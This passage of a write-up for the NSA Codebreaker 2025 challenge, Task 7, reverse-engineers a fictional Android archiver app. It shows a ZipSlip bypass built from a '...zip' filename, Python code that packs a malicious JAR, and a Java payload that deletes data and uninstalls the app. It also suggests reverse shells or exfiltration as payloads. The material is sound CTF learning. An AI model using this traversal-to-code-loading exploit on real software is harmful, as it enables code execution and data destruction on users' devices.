Download fails though because the hostname dl.badguy.local doesn’t resolve to anything

Alright great, we kind of see our avenue for RCE. Essentially, we have to somehow get the app to load our own JAR file, which we know how to make since we know the name it needs to be, and where it needs to be located on the disk, which is at /data/user/0/com.badguy.mmarchiver/cache/zippier/formats/. There is no JAR on disk that handles 7z as we saw, so we can try to upload our own 7z JAR that does does whatever we want it to do

The question is, how exactly do we get it there

The ZipSlip Strikes Back

Remember the path that all downloaded zip files go to that we found earlier?

It was /data/user/0/com.badguy.mmarchiver/cache/zippier/extract/. This is pretty close to the directory that the JAR files are supposed to be in, which are at /data/user/0/com.badguy.mmarchiver/cache/zippier/formats/

We just have to find a way to go up a directory

We’re right back where we started, finding some kind of way to achieve directory traversal

After a while, I finally found out how to achieve that coveted ZipSlip with the below test code

1
import zipfile
2
import io
3

4
# Create inner zip in memory
5
inner_buffer = io.BytesIO()
6
with zipfile.ZipFile(inner_buffer, 'w', zipfile.ZIP_DEFLATED) as inner_zip:
7
    inner_zip.writestr('inside.txt', 'Hello from inner zip')
8

9

10
inner_buffer.seek(0)
11

12
# Create outer zip and write inner zip as a file
13
with zipfile.ZipFile('outside.zip', 'w', zipfile.ZIP_DEFLATED) as outer_zip:
14
    outer_zip.writestr('...zip', inner_buffer.read())

I named the inner zip file ...zip

Why does this work?

Remember the ZipSlip check?

1
String canonicalPath = file.getCanonicalPath();
2
r.d(canonicalPath, "getCanonicalPath(...)");
3
if (t.e0(canonicalPath, targetPath.getCanonicalPath() + File.separator, false)) {
4
    ...
5
}

getCanonicalPath() lets ...zip through just fine. This means the zip file’s path is

/data/user/0/com.badguy.mmarchiver/cache/zippier/extract/...zip

This of course starts with /data/user/0/com.badguy.mmarchiver/cache/zippier/extract/, so it passes the check

However, when the extraction actually happens, the extraction location will be

/data/user/0/com.badguy.mmarchiver/cache/zippier/extract/..

This is because of the addFile function in Q3/b. This function processes zip file contents

1
 public ZipFile addFile(File file) {
2
    String substring;
3
    ArrayList arrayList = (ArrayList) this.f4229a;
4
    kotlin.jvm.internal.r.e(file, "file");
5
    if (file.exists()) {
6
        if (file.isDirectory()) {
7
            arrayList.add(file);
8
            return this;
9
        }
10
        String absolutePath = file.getAbsolutePath();
11
        if (absolutePath == null) {
12
            char c5 = b4.c.f6878a;
13
            substring = null;
14
        } else {
15
            int b5 = b4.c.b(absolutePath);
16
            if (b5 == -1) {
17
                substring = _UrlKt.FRAGMENT_ENCODE_SET;
18
            } else {
19
                substring = absolutePath.substring(b5 + 1);
20
            }
21
        }
22
        kotlin.jvm.internal.r.d(substring, "getExtension(...)");
23
        String lowerCase = substring.toLowerCase(Locale.ROOT);
24
        kotlin.jvm.internal.r.d(lowerCase, "toLowerCase(...)");
25
        ZipFormat zipFormat = (ZipFormat) ((j) this.f4232d).invoke(lowerCase);
26
        if (zipFormat != null) {
27
            ((Logger) this.f4233e).debug("found format for ".concat(lowerCase));
28
            File file2 = new File((File) this.f4231c, b4.c.a(file.getAbsolutePath()));
29
            arrayList.add(file2);
30
            zipFormat.uncompress(file, file2, this);
31
            return this;
32
        }
33
        arrayList.add(file);
34
        return this;
35
    }
36
    throw new FileNotFoundException(AbstractC0003b0.o("no file found for processing at ", file.getAbsolutePath()));
37
}

This line

1
File file2 = new File((File) this.f4231c, b4.c.a(file.getAbsolutePath()));

is basename extraction, as seen when we look at the a() function’s code. We actually already saw this same function earlier when looking at what the name of the class that gets instantiated is

1
public static String a(String str) {
2
    String substring;
3
    if (str == null) {
4
        substring = null;
5
    } else if (str.indexOf(0) < 0) {
6
        substring = str.substring(Math.max(str.lastIndexOf(47), str.lastIndexOf(92)) + 1);
7
    } else {
8
        throw new IllegalArgumentException("Null character present in file/path name. There are no known legitimate use cases for such data, but several injection attacks may use it");
9
    }
10
    if (substring == null) {
11
        return null;
12
    }
13
    if (substring.indexOf(0) < 0) {
14
        int b5 = b(substring);
15
        if (b5 == -1) {
16
            return substring;
17
        }
18
        return substring.substring(0, b5);
19
    }
20
    throw new IllegalArgumentException("Null character present in file/path name. There are no known legitimate use cases for such data, but several injection attacks may use it");
21
}

This returns the file name without the extension as we know. So ...zip resolves to ..

/data/user/0/com.badguy.mmarchiver/cache/zippier/extract/.. of course is just

/data/user/0/com.badguy.mmarchiver/cache/zippier/

allowing us to traverse up one directory

This is confirmed when I upload the outside.zip file with the inner zip being named ...zip and we check the logs

That error about not being able to delete /data/user/0/com.badguy.mmarchiver/cache/zippier/extract/.. confirms that our ZipSlip worked!

Time to create the exploit

Exploit Time

The exploit should be pretty simple. What we need to do is have an outer zip, which I’ll name exploit.zip

This outer zip will contain another zip file, whose name is ...zip to allow us to traverse up a directory

Then within ...zip, we will have two files

One file is named pwn.7z, which just triggers the JAR file loading logic

The second file will be named formats/net.axolotl.zippier.ZipFormat_7z.jar, and will be a malicious JAR file. Why this name again?

...zip allows us to traverse to

/data/user/0/com.badguy.mmarchiver/cache/zippier/

since that’s what

/data/user/0/com.badguy.mmarchiver/cache/zippier/extract/..

resolves to

Having our file named formats/net.axolotl.zippier.ZipFormat_7z.jar means it will get written to

/data/user/0/com.badguy.mmarchiver/cache/zippier/formats/net.axolotl.zippier.ZipFormat_7z.jar

which is exactly where we want it to be based on our analysis from before. Remember that we indeed are allowed to write “down” a directory, since our earlier test having our text file location be test/inside.txt worked

First off, let’s make that malicious JAR file

We first make 3 Java files, ZipFile.java, ZipFormat_7z.java, and ZipFormat.java

I made these located in the directory path, src/net/axolotl/zippier/

ZipFile.java is just

1
package net.axolotl.zippier;
2

3
public interface ZipFile {
4
    // Stub, fill in if needed by app
5
}

ZipFormat.java is just

1
package net.axolotl.zippier;
2

3
import java.io.File;
4

5
public interface ZipFormat {
6
    String getExtension();
7
    void uncompress(File inFile, File targetPath, ZipFile outFile) throws Exception;
8
}

Then the real magic, ZipFormat_7z.java, consists of

1
package net.axolotl.zippier;
2

3
import java.io.File;
4
import android.util.Log;
5

6
public class ZipFormat_7z implements ZipFormat {
7
    static {
8
        try {
9
            Log.e("EXPLOIT", "Destroying adversary communications");
10

11
            // Delete all archived files
12
            deleteArchives();
13

14
            // Delete the app itself
15
            deleteApp();
16

17
            Log.e("EXPLOIT", "Mission complete");
18

19
        } catch (Exception e) {
20
            Log.e("EXPLOIT", "Error: " + e.getMessage());
21
        }
22
    }
23

24
    private static void deleteArchives() {
25
        new Thread(() -> {
26
            try {
27
                // Delete all archived messages
28
                File archiveDir = new File("/storage/emulated/0/Android/data/com.badguy.mmarchiver/files/");
29

30
                if (archiveDir.exists()) {
31
                    Log.e("EXPLOIT", "Deleting archives from: " + archiveDir.getAbsolutePath());
32
                    deleteRecursively(archiveDir);
33
                }
34

35
                // Also delete internal cache
36
                File cacheDir = new File("/data/data/com.badguy.mmarchiver/cache/");
37
                if (cacheDir.exists()) {
38
                    Log.e("EXPLOIT", "Clearing cache");
39
                    deleteRecursively(cacheDir);
40
                }
41

42
                // Delete app database
43
                File dbFile = new File("/data/data/com.badguy.mmarchiver/databases/");
44
                if (dbFile.exists()) {
45
                    Log.e("EXPLOIT", "Deleting databases");
46
                    deleteRecursively(dbFile);
47
                }
48

49
            } catch (Exception e) {
50
                Log.e("EXPLOIT", "Delete error: " + e.getMessage());
51
            }
52
        }).start();
53
    }
54

55
    private static void deleteApp() {
56
        new Thread(() -> {
57
            try {
58
                // Uninstall the app via pm command
59
                Process p = Runtime.getRuntime().exec(new String[]{
60
                    "/system/bin/sh", "-c",
61
                    "pm uninstall com.badguy.mmarchiver"
62
                });
63
                p.waitFor();
64

65
                Log.e("EXPLOIT", "App uninstall command executed");
66

67
            } catch (Exception e) {
68
                Log.e("EXPLOIT", "Uninstall error: " + e.getMessage());
69
            }
70
        }).start();
71
    }
72

73
    private static void deleteRecursively(File file) {
74
        if (file.isDirectory()) {
75
            File[] files = file.listFiles();
76
            if (files != null) {
77
                for (File child : files) {
78
                    deleteRecursively(child);
79
                }
80
            }
81
        }
82

83
        boolean deleted = file.delete();
84
        Log.e("EXPLOIT", (deleted ? "Deleted: " : "Failed to delete: ") + file.getAbsolutePath());
85
    }
86

87
    @Override
88
    public String getExtension() {
89
        return "7z";
90
    }
91

92
    @Override
93
    public void uncompress(File inFile, File targetPath, ZipFile outFile) throws Exception {
94
        // Could also delete files here if called
95
        Log.e("EXPLOIT", "Uncompress called - already done");
96
    }
97
}

We have a static block,

1
 static {
2
    try {
3
        Log.e("EXPLOIT", "Destroying adversary communications");
4

5
        // Delete all archived files
6
        deleteArchives();
7

8
        // Delete the app itself
9
        deleteApp();
10

11
        Log.e("EXPLOIT", "Mission complete");
12

13
    } catch (Exception e) {
14
        Log.e("EXPLOIT", "Error: " + e.getMessage());
15
    }
16
}

which calls some functions, deleteArchives() and deleteApp(). Since this is a static block, it’ll run upon class initialization

It’s pretty obvious based on the names of the functions that they just try to delete a bunch of things to interfere with the bad actors’ archives. However, you can have your ZipFormat_7z.java do whatever you want it to do. For example, more useful functionality would be establishing a reverse shell, or downloading the archived files instead of deleting them

Recall that ZipFormat.java is required and ZipFormat_7z.java must implement it because of this code we saw earlier in the class loader logic that enforces the type

1
ZipFormat zipFormat = (ZipFormat) newInstance;

Now that we have our Java files, I used the below commands to create the JAR file. You have to compile it in a certain way though to ensure it can be loaded by Android. Essentially, turning the Java source code into Android-loadable DEX inside a JAR

First compiling the code into .class files (I compiled on Windows)

javac -classpath "Path\To\My\android-33\android.jar" -source 1.8 -target 1.8 -d out/ src/net/axolotl/zippier/*.java

then converting the .class files into .dex files

java -cp "Path\To\My\Android\Sdk\build-tools\33.0.2\lib\d8.jar" com.android.tools.r8.D8 --output out_dex ZipFormat_7z.jar

Then packaging those .dex files into a JAR

cd out_dex

jar cf ../ZipFormat_7z_dex.jar classes.dex

We now finally have the JAR we need

Now using the below Python code, we can assemble our malicious zip file

1
import zipfile
2

3
# Create inner zip with the malicious JAR at the right path
4
with zipfile.ZipFile('inner.zip', 'w') as z:
5

6
    with open("ZipFormat_7z_dex.jar", "rb") as jar_file:
7
        jar_bytes = jar_file.read()
8

9
    # Path relative to /cache/zippier/
10
    z.writestr('formats/net.axolotl.zippier.ZipFormat_7z.jar', jar_bytes)
11

12
    z.writestr('pwn.7z', b'Trigger exploit')
13

14

15
# Read inner zip
16
with open('inner.zip', 'rb') as f:
17
    inner_zip_data = f.read()
18

19
'''
20
Create outer zip with inner named to escape to parent, and its contents are what we created above
21

22
Extracts inner zip as just "..", so 'formats/net.axolotl.zippier.ZipFormat_7z.jar' gets extracted to
23
/cache/zippier/extract/../formats/net.axolotl.zippier.ZipFormat_7z.jar, which is just
24
/cache/zippier/formats/net.axolotl.zippier.ZipFormat_7z.jar
25
'''
26
with zipfile.ZipFile('exploit.zip', 'w') as z:
27
    z.writestr('...zip', inner_zip_data)

Basically we first create the inner zip, which consists of the JAR file named formats/net.axolotl.zippier.ZipFormat_7z.jar, and a dummy file named pwn.7z to trigger the exploit

The outer zip, named exploit.zip, then consists of the inner zip contents above, but of course the inner zip is named ...zip

Uploading this exploit.zip, we see that our exploit worked!

Submitting this zip file solves this task!

I will note that it doesn’t really matter what your malicious JAR did. It appears that the task just checked to see that it was loaded at all to accept your submission

It was a really fun journey, and we learned a lot. I wasn’t expecting the android rev at the end here, but it was a welcome surprise

Alas, the challenge coin has finally been acquired

Response:

With full access to the device we now have full visibility into this threat actor’s entire infrastructure and capabilities. The US Military has everything they need to take decisive action against this threat. The security configurations of DoD networks worldwide are updated to guard against the exploited vulnerabilities, the adversary’s infrastructure is destroyed, and the entire team of threat actors are identified. DIRNSA briefed the president on your work and how you enabled the mitigation of this threat. Great job!

Through dedication, skill, and teamwork; NSA guaranteed the protection of the US Militaries advantage in the cyber domian.

NSA Codebreaker 2025 Writeup

Background

Task 0 - (Community of Practice, Discord Server)

Solve:

Task 1 - Getting Started - (Forensics)

Solve:

Task 2 - The Hunt Continues - (Network Forensics)

Solve:

Backtracking

Task 3 - Digging deeper - (Reverse Engineering)

Solve:

Volatility Reveals All

Go Go Ghidra

Task 4 - Unpacking Insight - (Malware Analysis)

Solve:

Understanding where the Deobfuscation Comes From

Rev harder

Rev-ception

Rev Part 2. Electric Boogaloo

Task 5 - Putting it all together - (Cryptanalysis)

Solve:

The Achilles Heel

Meet me in the middle

Task 6 - Crossing the Channel - (Vulnerability Research)

Solve:

Setup

Finally, we can start

Robot Rock

Actually Crossing the Channel

Task 7 - Finale - (Vulnerability Research, Exploitation)

Solve:

Setup

Understanding the App

Android rev time

Identifying RCE

The ZipSlip Strikes Back

Exploit Time